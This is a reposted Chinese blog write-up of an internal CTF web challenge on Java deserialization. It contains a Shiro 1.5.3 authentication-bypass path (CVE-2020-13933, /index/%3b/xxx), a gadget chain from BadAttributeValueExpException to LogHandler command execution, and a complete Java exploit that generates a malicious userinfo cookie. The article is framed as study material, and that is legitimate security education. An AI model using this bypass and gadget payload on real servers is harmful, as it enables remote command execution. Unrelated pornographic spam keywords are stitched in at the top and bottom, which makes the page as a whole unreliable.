国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

什么是Java反序列化漏洞

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全

這篇文章主要介紹“什么是Java反序列化漏洞”,在日常操作中,相信很多人在什么是Java反序列化漏洞問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對大家解答”什么是Java反序列化漏洞”的疑惑有所幫助!接下來(lái),請跟著(zhù)小編一起來(lái)學(xué)習吧!

0x00 前言

近年來(lái),工作中Java Web的項目越來(lái)越常見(jiàn),并且逐漸取代了前幾年php的輝煌地位。

在眾多Java Web漏洞中,反序列化漏洞獨樹(shù)一幟,大量框架或者中間件都存在反序列化漏洞,它們被大佬們鐘愛(ài),并且翻過(guò)來(lái)覆過(guò)去的反復蹂躪,,例如:Shiro、Fastjson、JBoss、WebLogic、Structs2等等。

本文基于一次內部小范圍比賽題目的復現,簡(jiǎn)單聊聊Java代碼審計中的反序列化漏洞,以及其他漏洞的組合利用。由于學(xué)習門(mén)檻降低,各大學(xué)習論壇或網(wǎng)站上存在大量?jì)?yōu)秀的Java反序列化的入門(mén)文章,里面對Java的基本概念以及反序列化的基礎有著(zhù)詳細的描述和講解。本文不再贅述Java反序列化中的簡(jiǎn)單概念,僅從題目本身入手。

0x01 正文

題目本身是Web題目,并且提供了源碼。

打開(kāi)頁(yè)面,登錄窗口。

頁(yè)面僅有一個(gè)登錄窗口,嘗試一波弱口令,無(wú)結果。

然后去看代碼,jar包導入JD-GUI,隨便點(diǎn)點(diǎn)。

大致文件結構如下:

其中ShiroConfig.class內容如下:

簡(jiǎn)單審計發(fā)現,index內容需要認證,也就是需要登錄。

查看index對應的IndexController.class,發(fā)現存在反序列化點(diǎn)。

具體代碼如下:

if (cookies != null) {
      for (Cookie c : cookies) {
        if (c.getName().equals("userinfo")) {
          exist = true;
          cookie = c;
          break;
        } 
      } 
    }
    if (exist) {
      byte[] bytes = Tools.base64Decode(cookie.getValue());
      user = (User)Tools.deserialize(bytes);
    } else {
      user = new User();
      user.setId(1);
      user.setName(name);
      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
      response.addCookie(cookie);
    }

當訪(fǎng)問(wèn)index時(shí),并且存在cookiekeyuserinfo時(shí),會(huì )對其value進(jìn)行deserialize。

過(guò)程如下:

cookie[userinfo]  -->  base64decode  --> deserialize

暫時(shí)思路是,登錄之后,通過(guò)cookie進(jìn)行反序列化。

但是由MyRealm.class可知,密碼是隨機的。

具體代碼如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本為 1.5.3 ,存在CVE-2020-13933權限繞過(guò)漏洞。

根據 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx。

但存在過(guò)濾器AllFilter.class。

public class AllFilter implements IAllFilter {
  public String filter(String param) {
    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
    for (String i : keyWord) {
      param = param.replaceAll(i, "");
    }
    return param;
  }
}

AllFilter會(huì )對payload的字符進(jìn)行過(guò)濾,經(jīng)過(guò)嘗試,最終有效payload/index/%3b/xxx。

繞過(guò)權限之后,發(fā)現后臺為日志記錄。

涉及到LogHandler.class,在之后的后續反序列化會(huì )用到。

繞過(guò)權限之后,想辦法反序列化。

要序列化的條件是,必須繼承Java.io.Serializable接口。

在代碼中尋找可被利用的class。

發(fā)現LogHandler.class。

其中存在命令執行點(diǎn)

public class LogHandler extends HashSet implements InvocationHandler {
  private static final long serialVersionUID = 1L;
  private String readLog = "tail /tmp/accessLog"; private Object target;
  private String writeLog = "echo /test >> /tmp/accessLog";
  
  public LogHandler() {}
  public LogHandler(Object target) { this.target = target; }
  
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
    return method.invoke(this.target, args);
  }
  public String toString() { return Tools.exeCmd(this.readLog); }
}

LogHandler繼承了HashSet。

HashSet繼承了Java.io.Serializable接口。

HashSet部分代碼如下:

package Java.util;

import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;

public class HashSet<E>extends AbstractSet<E>implements Set<E>, Cloneable, Java.io.Serializable{
    static final long serialVersionUID = -5024744406713321676L;
    ......

之后的pop鏈為:

deserialize  -->  LogHandler  -->  toString  -->  exeCmd (readLog)

條件:readLog可控 。

readLog為私有屬性,可通過(guò)Java的反射機制訪(fǎng)問(wèn)屬性值。

例如:

import Java.lang.reflect.*;
public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        
        Field aaa= UserClass.getDeclaredField("name");
        aaa.setAccessible(true);//私有屬性,設置可訪(fǎng)問(wèn)
        aaa.set(user, "liuxigua");
    }
}

最終目的:尋找某個(gè)Java原生類(lèi),要求:重寫(xiě)readObject方法并且可調用可控類(lèi)的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此類(lèi)

BadAttributeValueExpException部分代碼如下:

public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { 
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

可通過(guò)將val設置為logHandler類(lèi),最終在readObject時(shí)調用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode 

cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)

最終Gadgets

Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()-->  tools.Tools.exeCmd()

注意:payload的代碼結構與文件位置需要與服務(wù)端代碼結構與文件位置保持一致

package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;

public class Exp {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"touch /tmp/123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}

生成payload之后,在cookieuserinfo值填入,可執行命令。

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

久久这里精品国产99丫E6| 亚洲 日韩经典 中文字幕| 亚洲丰满熟女一区二区V| 毛片免费全部无码播放| 久久天天躁夜夜躁狠狠躁2014| WWW久久久天天COM|